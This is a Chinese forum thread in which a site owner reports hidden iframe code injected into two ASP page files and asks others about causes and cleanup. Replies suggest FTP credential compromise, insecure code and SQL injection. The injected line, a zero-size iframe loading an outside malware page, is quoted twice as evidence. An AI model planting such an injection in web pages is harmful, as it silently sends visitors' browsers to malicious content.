[急急]网站被挂马了，求救！

[zhangjincheng88]

我做的一个网站，在前台开了上传的通道。
这两天发先网站被人家挂上“木马”啦。
在 top.asp 和 btm.asp 两个文件里面都出现了

<iframe src="http://www.ac66.cn/88/index.htm" width="0" height="0" rameborder="0"></iframe>

这样的代码，哪位高人知道这是什么木马做的？？
如何才能彻底的除掉这个木马呢 ？？
补充：我在上传文件的目录里面没有发现可以的执行文件（.asp一类的文件。）
每次 top.asp 和 btm.asp被修改之后，能看到修改的时间。

求解啊。解完马上结帖。

[zhaoempire]

哎，等待查下日志挖

[lvwei]

晕
一帮人怎么就知道是服务器或FTP出问题了呢
我敢说很大原因是楼主的网站程序有问题
现在的程序员编程根本就不知道多想点别的相关的东西
根本就不知道动脑子想想

[i三千]

要是网管干的呢？呵呵

[robake]

目录不允许执行asp的空间要着干嘛，肯定要求执行的。

[BB203203]

mark~~

[wkefeng]

make

[sdxlh007]

<iframe src="http://www.ac66.cn/88/index.htm" width="0" height="0" rameborder="0"></iframe>
木马地址在这呢
http://www.ac66.cn/88/index.htm
把这段删除了就好了，主要是管理好你自己的ftp帐号和密码
给别人权限时 要小心，一般就没事

[zhangjincheng88]

感谢各位的关注。

还有个疑问，我现在使用的空间帐号不只是我一个人使用，另一个人在使用这个帐号连接FTP的时候。网站上马上就发现 木马代码了，当然了。这不是每次都出现的，但是前两次出现 木马的时候，那个人的确使用过FTP了。。。

先在又不确定是不是他带的木马到空间上的呢 ？？

不解啊。继续求解。

[will123]

关注中

[pitchstar]

你上传目录是不是允许执行asp 啊？

[zhangjincheng88]

感谢 sdxlh007(海) 的回答。。

说 FTP 有问题，不是因为别的原因，
而是那个使用FTP的人的电脑本身就有病毒，我在想是不是他的电脑感染了源程序文件，然后在覆盖了 FTP 上的文件呢 。。。。。。。。

[poppunk]

肯定是网站程序问题！我的站用的有别人提供的免费代码，服务器自己管，但是还是被<ifram>了。

[hanhongmin]

关注ING
MARK

[mysky0103]

mark

[lvwei]

文件修改日期也可以改的
一定要细心点

[leo_jun]

菜鸟~~~
关注中......

[dingmin]

仔细检查下所有的文件,看最后的修改日期,就很容易知道是哪里出问题了~
注意SQL注入 唉

[csover8]

mark

[zhangjincheng88]

SQL注入 的问题我都查过了，没有


继续关注中………………

[街头小贩]

多年前我也经历过！现在没有再发生！空间安全问题可以找ISP，代码质量问题就要问你了